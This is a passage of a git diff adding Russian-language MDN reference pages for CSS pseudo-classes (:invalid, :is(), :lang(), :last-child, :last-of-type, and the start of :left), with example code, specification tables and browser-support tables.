+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Нет изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-indeterminate', ':indeterminate')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Определение семантики HTML и проверки.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#indeterminate', ':indeterminate')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Нет изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#indeterminate', ':indeterminate')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Определён псевдо-класс, но не семантика.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("css.selectors.indeterminate")}}</p>
+</div>
diff --git a/files/ru/web/css/_colon_invalid/index.html b/files/ru/web/css/_colon_invalid/index.html
new file mode 100644
index 0000000000..3c8c6c3051
--- /dev/null
+++ b/files/ru/web/css/_colon_invalid/index.html
@@ -0,0 +1,186 @@
+---
+title: ':invalid'
+slug: 'Web/CSS/:invalid'
+tags:
+  - Псевдо-классы
+translation_of: 'Web/CSS/:invalid'
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдо-класс</a> <code>:invalid</code> находит любые {{ HTMLElement("input") }} или {{ HTMLElement("form") }} элементы, контент которых не проходит <a href="/ru/docs/Web/Guide/HTML/HTML5/Constraint_validation" title="en/HTML/HTML5/Constraint_validation">валидацию</a>, в соответствии с типом поля. Он позволяет вам легко менять внешний вид полей, что позволяет пользователю видеть и исправлять ошибки.</p>
+
+<p>По умолчанию, Gecko не применяет стили к псевдо-классу <code>:invalid</code>. Однако, применяет стили (красное "свечение", используя свойство {{ Cssxref("box-shadow") }}) к псевдо-классу {{ Cssxref(":-moz-ui-invalid") }}, который применяется в подгруппе случаев для <code>:invalid</code>.</p>
+
+<p>Вы можете отключить свечение, используя следующий CSS или полностью изменить внешний вид некорректных полей.</p>
+
+<pre class="brush: css">:invalid {
+  box-shadow: none;
+}
+
+:-moz-submit-invalid {
+  box-shadow: none;
+}
+
+:-moz-ui-invalid {
+  box-shadow:none;
+}
+</pre>
+
+<h2 id="Замечания">Замечания</h2>
+
+<h4 id="Радиокнопки">Радиокнопки</h4>
+
+<p>Если любая из радиокнопок в группе (т.е., с одинаковым атрибутом <code>name</code>) имеет атрибут <code>required</code>, псевдо-класс <code>:invalid</code> применяется ко всем из них, если ни одна из кнопок группы не выбрана.</p>
+
+<h2 id="Example2" name="Example2">Пример</h2>
+
+<p>Этот пример представляет собой простую форму, цвета элементов которой зелёные, когда данные корректные, и красные, когда нет.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label&gt;Введите URL:&lt;/label&gt;
+  &lt;input type="url" /&gt;
+  &lt;br /&gt;
+  &lt;br /&gt;
+  &lt;label&gt;Введите эл. почту:&lt;/label&gt;
+  &lt;input type="email" required/&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input:invalid {
+  background-color: #ffdddd;
+}
+
+form:invalid {
+  border: 5px solid #ffdddd;
+}
+
+input:valid {
+  background-color: #ddffdd;
+}
+
+form:valid {
+  border: 5px solid #ddffdd;
+}
+
+input:required {
+  border-color: #800000;
+  border-width: 3px;
+}</pre>
+
+<p>{{ EmbedLiveSample('Example2',600,150) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', '#selector-invalid', ':invalid') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', '#selector-invalid', ':invalid') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>Определяет семантику в HTML и ограничения проверки.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#validity-pseudos', ':invalid') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Basic UI', '#pseudo-validity', ':invalid') }}</td>
+   <td>{{ Spec2('CSS3 Basic UI') }}</td>
+   <td>Определяет псевдо-класс, но не семантику.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка ({{ HTMLElement("input") }})</td>
+   <td>10.0</td>
+   <td>{{ CompatGeckoDesktop("2") }}</td>
+   <td>10</td>
+   <td>10.0</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>Применяется к {{ HTMLElement("form") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("13") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("2") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>10.0</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>Применяется к {{ HTMLElement("form") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("13") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{ cssxref(":valid") }}</li>
+ <li>{{ cssxref(":-moz-submit-invalid") }}</li>
+ <li>{{ cssxref(":required") }}</li>
+ <li>{{ cssxref(":optional") }}</li>
+</ul>
+
+<p>{{ languages( { "fr": "fr/CSS/:invalid" }) }}</p>
diff --git a/files/ru/web/css/_colon_is/index.html b/files/ru/web/css/_colon_is/index.html
new file mode 100644
index 0000000000..57985074be
--- /dev/null
+++ b/files/ru/web/css/_colon_is/index.html
@@ -0,0 +1,249 @@
+---
+title: ':is() (:matches(), :any())'
+slug: 'Web/CSS/:is'
+translation_of: 'Web/CSS/:is'
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> <code>:matches()</code> был переименован в <code>:is()</code> в <a href="https://github.com/w3c/csswg-drafts/issues/3258" style="white-space: nowrap;">CSSWG issue #3258</a>.</p>
+</div>
+
+<p><strong><code>:is()</code></strong> это функция <a href="/ru/docs/Web/CSS">псевдо-класс CSS</a> принимающая список селекторов как аргумент, и выбирает любой элемент, который может быть выбран одним из селекторов в этом списке. Это полезно при переписи огромных селекторов в более компактную форму.</p>
+
+<p>Заметьте, что в данный момент бразуеры поддерживают ее функционал как <code>:matches()</code>, или даже как более старый, префиксный псевдо-класс — <code>:any()</code>, включая старые версии Chrome, Firefox, и Safari. <code>:any()</code> работает точно таким же образом как и <code>:matches()</code>/<code>:is()</code>, за исключением того, что  <code>:any()</code> требует постановку префиксов и не поддерживает <a href="/ru/docs/Learn/CSS/Building_blocks/Селекторы">комплексные селекторы</a>.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Выбирает какой-либо абзац в шапке, основной части или подвале, который зависал */
+:is(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+
+/* Пример приведенный выше эквивалентен следующему */
+header p:hover,
+main p:hover,
+footer p:hover {
+  color: red;
+  cursor: pointer;
+}
+
+/* Обратно-совместимая версия с:-*-any() и :matches()
+   (Это невозможно сгруппировать селекторы в одно правило,
+    так как присутствие одного неверного селектора аннулирует все правило.) */
+:-webkit-any(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+:-moz-any(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+:matches(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+</pre>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Кроссбраузерный_пример">Кроссбраузерный пример</h3>
+
+<pre class="brush: html notranslate">&lt;header&gt;
+  &lt;p&gt;Это мой параграф в шапке&lt;/p&gt;
+&lt;/header&gt;
+
+&lt;main&gt;
+  &lt;ul&gt;
+    &lt;li&gt;&lt;p&gt;Это первый&lt;/p&gt;&lt;p&gt;пункт списка&lt;/p&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;p&gt;Это второй&lt;/p&gt;&lt;p&gt;пункт списка&lt;/p&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/main&gt;
+
+&lt;footer&gt;
+  &lt;p&gt;Это мой параграф в подвале&lt;/p&gt;
+&lt;/footer&gt;</pre>
+
+<pre class="brush: css notranslate">:-webkit-any(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+
+:-moz-any(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+
+:matches(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+
+:is(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+</pre>
+
+<pre class="brush: js notranslate">let matchedItems;
+
+try {
+  matchedItems = document.querySelectorAll(':is(header, main, footer) p');
+} catch(e) {
+  try {
+    matchedItems = document.querySelectorAll(':matches(header, main, footer) p');
+  } catch(e) {
+    try {
+      matchedItems = document.querySelectorAll(':-webkit-any(header, main, footer) p');
+    } catch(e) {
+      try {
+        matchedItems = document.querySelectorAll(':-moz-any(header, main, footer) p');
+      } catch(e) {
+        console.log('Your browser doesn\'t support :is(), :matches(), or :any()');
+      }
+    }
+  }
+}
+
+matchedItems.forEach(applyHandler);
+
+function applyHandler(elem) {
+  elem.addEventListener('click', function(e) {
+    alert('This paragraph is inside a ' + e.target.parentNode.nodeName);
+  });
+}</pre>
+
+<p>{{EmbedLiveSample("Cross-browser_example", "100%", 300)}}</p>
+
+<h3 id="Упрощение_списка_селекторов">Упрощение списка селекторов</h3>
+
+<p>Псевдо-класс <code>:is()</code> может великолепно упрощать ваши CSS селекторы. К примеру, следующий CSS:</p>
+
+<pre class="brush: css notranslate">/* 3-уровневые (или более) неупорядоченные списки используют свойство square */
+ol ol ul,     ol ul ul,     ol menu ul,     ol dir ul,
+ol ol menu,   ol ul menu,   ol menu menu,   ol dir menu,
+ol ol dir,    ol ul dir,    ol menu dir,    ol dir dir,
+ul ol ul,     ul ul ul,     ul menu ul,     ul dir ul,
+ul ol menu,   ul ul menu,   ul menu menu,   ul dir menu,
+ul ol dir,    ul ul dir,    ul menu dir,    ul dir dir,
+menu ol ul,   menu ul ul,   menu menu ul,   menu dir ul,
+menu ol menu, menu ul menu, menu menu menu, menu dir menu,
+menu ol dir,  menu ul dir,  menu menu dir,  menu dir dir,
+dir ol ul,    dir ul ul,    dir menu ul,    dir dir ul,
+dir ol menu,  dir ul menu,  dir menu menu,  dir dir menu,
+dir ol dir,   dir ul dir,   dir menu dir,   dir dir dir {
+  list-style-type: square;
+}
+</pre>
+
+<p>... можно заменить на:</p>
+
+<pre class="brush: css notranslate">/* 3-уровневые (или более) неупорядоченные списки используют свойство square */
+:is(ol, ul, menu, dir) :is(ol, ul, menu, dir) ul,
+:is(ol, ul, menu, dir) :is(ol, ul, menu, dir) menu,
+:is(ol, ul, menu, dir) :is(ol, ul, menu, dir) dir {
+  list-style-type: square;
+}</pre>
+
+<h3 id="Упрощение_селекторов_разделов">Упрощение селекторов разделов</h3>
+
+<p>Псевдо-класс <code>:is()</code>  особенно полезен  при работе с <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">заголовками и разделами</a> HTML5. C тех пор как {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, и {{HTMLElement("nav")}} обычно используют вместе, без <code>:is()</code>, стилизовать их, чтобы они соответствовали друг друг, может быть не просто.</p>
+
+<p>К примеру, без <code>:is()</code>, стилизовать все {{HTMLElement("h1")}} элементы на разных уровнях может бы очень сложно:</p>
+
+<pre class="brush: css notranslate">/* Уровень 0 */
+h1 {
+  font-size: 30px;
+}
+/* Уровень 1 */
+section h1, article h1, aside h1, nav h1 {
+  font-size: 25px;
+}
+/* Уровень 2 */
+section section h1, section article h1, section aside h1, section nav h1,
+article section h1, article article h1, article aside h1, article nav h1,
+aside section h1, aside article h1, aside aside h1, aside nav h1,
+nav section h1, nav article h1, nav aside h1, nav nav h1 {
+  font-size: 20px;
+}
+/* Уровень 3 */
+/* ... даже не смей думать об этом! */
+</pre>
+
+<p>Используя <code>:is()</code>, как видно, это гораздо легче:</p>
+
+<pre class="brush: css notranslate">/* Уровень 0 */
+h1 {
+  font-size: 30px;
+}
+/* Уровень 1 */
+:is(section, article, aside, nav) h1 {
+  font-size: 25px;
+}
+/* Уровень 2 */
+:is(section, article, aside, nav)
+:is(section, article, aside, nav) h1 {
+  font-size: 20px;
+}
+/* Уровень 3 */
+:is(section, article, aside, nav)
+:is(section, article, aside, nav)
+:is(section, article, aside, nav) h1 {
+  font-size: 15px;
+}</pre>
+
+<h3 id="Как_избежать_аннулирования_списка_селекторов">Как избежать аннулирования списка селекторов</h3>
+
+<p>В отличие от <a href="/ru/docs/Web/CSS/Selector_list">списка селекторов</a>, псевдо-класс <code>:is()</code> не аннулируется, когда из селекторов, попавший туда не поддерживается бразуером.</p>
+
+<pre class="brush: css notranslate">:is(:valid, :unsupported) {
+  ...
+}</pre>
+
+<p>Будет по прежнему определяться правильно и соответствовать <code>:valid</code> даже в браузерах, которые не поддерживают <code>:unsupported</code>, в то время как:</p>
+
+<pre class="brush: css notranslate">:valid, :unsupported {
+  ...
+}</pre>
+
+<p>Будет проигнорировано бразуерами, которые не поддерживают <code>:unsupported</code> даже если они поддерживают <code>:valid</code>.</p>
+
+<h3 id="Разница_между_is_и_where">Разница между :is() и :where()</h3>
+
+<p>Разница между этими двумя, в том что <code>:is()</code> учитывает спецификацию общего селектора (он принимает специфику своего самого конкретного аргумента), в то же время <code><a href="/en-US/docs/Web/CSS/:where">:where()</a></code> имеет значение спецификации равное 0. Это можно увидеть на <a href="/en-US/docs/Web/CSS/:where#Examples">примере на странице документации <code>:where()</code> </a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#matches-pseudo", ":is()")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("css.selectors.is")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{CSSxRef(":where", ":where()")}} {{Experimental_Inline}} - Like <code>:is()</code>, but with 0 <a href="/en-US/docs/Web/CSS/Specificity">specificity</a>.</li>
+ <li><a href="/ru/docs/Web/CSS/Selector_list">Список селекторов</a></li>
+ <li><a href="/ru/docs/Web/Web_Components">Веб компоненты</a></li>
+</ul>
diff --git a/files/ru/web/css/_colon_lang/index.html b/files/ru/web/css/_colon_lang/index.html
new file mode 100644
index 0000000000..69b48325b0
--- /dev/null
+++ b/files/ru/web/css/_colon_lang/index.html
@@ -0,0 +1,100 @@
+---
+title: ':lang()'
+slug: 'Web/CSS/:lang'
+tags:
+  - CSS
+  - Псевдо-класс
+translation_of: 'Web/CSS/:lang'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS/Pseudo-classes">Псевдо-класс</a> <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>:lang()</code></strong> выбирает элементы основываясь на языке, на котором они определены.</p>
+
+<pre class="brush: css no-line-numbers">/* Выбирает все &lt;p&gt;, что на английском (en) */
+p:lang(en) {
+  quotes: '\201C' '\201D' '\2018' '\2019';
+}</pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> В HTML язык определяется комбинацией атрибута {{htmlattrxref("lang")}}, элемента {{HTMLElement("meta")}} и иногда информацией из протокола (такой, как заголовки HTTP ). Для других типов документов могут быть другие методы определения языка.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h3 id="Параметр">Параметр</h3>
+
+<dl>
+ <dt><code>&lt;language-code&gt;</code></dt>
+ <dd>{{cssxref("&lt;string&gt;")}}, представляющая язык, который вы хотите отобрать. Допустимые значения указаны в документации <a href="/en-US/docs/Web/HTML">HTML</a>.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>In this example, the <code>:lang()</code> pseudo-class is used to match the parents of quote elements ({{htmlElement("q")}}) using <a href="/en-US/docs/Web/CSS/Child_selectors">child combinators</a>. Note that this doesn't illustrate the only way to do this, and that the best method to use depends on the type of document. Also note that {{glossary("Unicode")}} values are used to specify some of the special quote characters.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div lang="en"&gt;&lt;q&gt;This English quote has a &lt;q&gt;nested&lt;/q&gt; quote inside.&lt;/q&gt;&lt;/div&gt;
+&lt;div lang="fr"&gt;&lt;q&gt;This French quote has a &lt;q&gt;nested&lt;/q&gt; quote inside.&lt;/q&gt;&lt;/div&gt;
+&lt;div lang="de"&gt;&lt;q&gt;This German quote has a &lt;q&gt;nested&lt;/q&gt; quote inside.&lt;/q&gt;&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">:lang(en) &gt; q { quotes: '\201C' '\201D' '\2018' '\2019'; }
+:lang(fr) &gt; q { quotes: '« ' ' »'; }
+:lang(de) &gt; q { quotes: '»' '«' '\2039' '\203A'; }
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Example', 350)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#lang-pseudo', ':lang()')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Adds wildcard language matching and comma-separated list of languages.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#lang-pseudo', ':lang()')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>No significant change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#lang', ':lang()')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.lang")}}</p>
+</div>
+
+<h2 id="Также_смотрите">Также смотрите</h2>
+
+<ul>
+ <li>Language-related pseudo-classes: {{cssxref(":lang")}}, {{cssxref(":dir")}}</li>
+ <li>HTML {{htmlattrxref("lang")}} attribute</li>
+ <li><a class="external" href="https://tools.ietf.org/html/bcp47">BCP 47 - Tags for Identifying Languages</a></li>
+</ul>
diff --git a/files/ru/web/css/_colon_last-child/index.html b/files/ru/web/css/_colon_last-child/index.html
new file mode 100644
index 0000000000..cc691def67
--- /dev/null
+++ b/files/ru/web/css/_colon_last-child/index.html
@@ -0,0 +1,114 @@
+---
+title: ':last-child'
+slug: 'Web/CSS/:last-child'
+translation_of: 'Web/CSS/:last-child'
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>CSS <a href="/ru/docs/Web/CSS/Pseudo-classes">псевдо-класс</a> <code>:last-child</code> находит любой элемент, являющийся последним в его родителе.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">element:last-child { <em>style properties</em> }</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;Этот элемент не лаймовый.&lt;/li&gt;
+  &lt;li&gt;И этот тоже.&lt;/li&gt;
+  &lt;li&gt;А этот да! :)&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">li:last-child {
+  background-color: lime;
+}</pre>
+
+<p>{{EmbedLiveSample('Пример', '100%', 100)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#last-child', ':last-child')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#last-child', ':last-child')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>9.0</td>
+   <td>9.5</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>2.1</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref(":first-child")}}</li>
+ <li>{{cssxref(":nth-child")}}</li>
+ <li>{{cssxref(":last-of-type")}}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_last-of-type/index.html b/files/ru/web/css/_colon_last-of-type/index.html
new file mode 100644
index 0000000000..d0c82884e0
--- /dev/null
+++ b/files/ru/web/css/_colon_last-of-type/index.html
@@ -0,0 +1,111 @@
+---
+title: ':last-of-type'
+slug: 'Web/CSS/:last-of-type'
+tags:
+  - CSS
+  - Layout
+  - Reference
+  - Web
+  - Псевдоклассы
+translation_of: 'Web/CSS/:last-of-type'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ru/docs/CSS" title="CSS">CSS</a> <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдокласс</a> <strong><code>:last-of-type</code></strong> находит последнего потомка с заданным тегом в списке детей родительского элемента.</p>
+
+<pre class="brush: css no-line-numbers">/* Выбирает &lt;p&gt;, являющийся последним элементом
+   среди элементов своего типа среди своих соседей */
+p:last-of-type {
+  color: lime;
+}</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: В первоначальном определении выбранный элемент должен иметь родителя. Начиная с Selectors Level 4, это не является обязательным.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Стилизация_последнего_параграфа">Стилизация последнего параграфа</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;h2&gt;Заголовок&lt;/h2&gt;
+&lt;p&gt;Параграф 1&lt;/p&gt;
+&lt;p&gt;Параграф 2&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p:last-of-type {
+  color: red;
+  font-style: italic;
+}</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample('Стилизация_последнего_параграфа')}}</p>
+
+<h3 id="Вложенные_элементы">Вложенные элементы</h3>
+
+<p>Этот пример показывает как можно обратиться к вложенным элементам. Заметим, что в случаях когда не указано ни одного простого селектора, подразумевается <a href="/ru/docs/Web/CSS/Universal_selectors">универсальный селектор</a> (<code>*</code>).</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;article&gt;
+  &lt;div&gt;Этот `div` первый.&lt;/div&gt;
+  &lt;div&gt;Этот &lt;span&gt;вложенный `span` является последним&lt;/span&gt;!&lt;/div&gt;
+  &lt;div&gt;Этот &lt;em&gt;вложенный `em` первый&lt;/em&gt;, а этот &lt;em&gt;вложенный `em` последний&lt;/em&gt;!&lt;/div&gt;
+  &lt;b&gt;Этот `b` будет выбран!&lt;/b&gt;
+  &lt;div&gt;Это последний `div`!&lt;/div&gt;
+&lt;/article&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">article :last-of-type {
+  background-color: pink;
+}</pre>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>{{EmbedLiveSample('Вложенные_элементы', 500)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#last-of-type-pseudo', ':last-of-type')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Теперь выбранные элементы не обязательно должны иметь родителя.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#last-of-type-pseudo', ':last-of-type')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+<p>{{Compat("css.selectors.last-of-type")}}</p>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{cssxref(":last-child")}}, {{Cssxref(":nth-last-of-type")}}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_left/index.html b/files/ru/web/css/_colon_left/index.html
new file mode 100644
index 0000000000..aa35096aff
--- /dev/null
+++ b/files/ru/web/css/_colon_left/index.html
@@ -0,0 +1,72 @@
+---
+title: ':left'
+slug: 'Web/CSS/:left'
+tags:
+  - Верстка
+  - Псевдоклассы
+translation_of: 'Web/CSS/:left'
+---
+<div>{{ CSSRef() }}</div>
+
+<p><a href="/en-US/docs/Web/CSS/Pseudo-classes">Псевдокласс</a> <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>:left</code></strong> используется с <a href="/en-US/docs/Web/CSS/At-rule">at-правилом</a> {{cssxref("@page")}}, предоставляет все левые страницы печатного документа.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Выбирает все левые страницы при печати */
+@page :left {
+  margin: 2in 3in;
+}</pre>
+
+<p>Является ли данная страница "левой" или "правой" определяется основным направлением документа. Например, если первая страница имеет основное направление слева направо, то это будет страница с page {{Cssxref(":right")}} ; если первая страница имеет основное направление справа налево, то это будет страница с page <code>:left</code>.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Этот псевдокласс можно использовать только для изменений следующих свойств элементов страницы: {{ Cssxref("margin") }}, {{ Cssxref("padding") }}, {{ Cssxref("border") }}, и{{ Cssxref("background") }} . Все остальные свойства будут игнорироваться; изменены будут только свойства элементов страницы без изменения содержимого документа.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
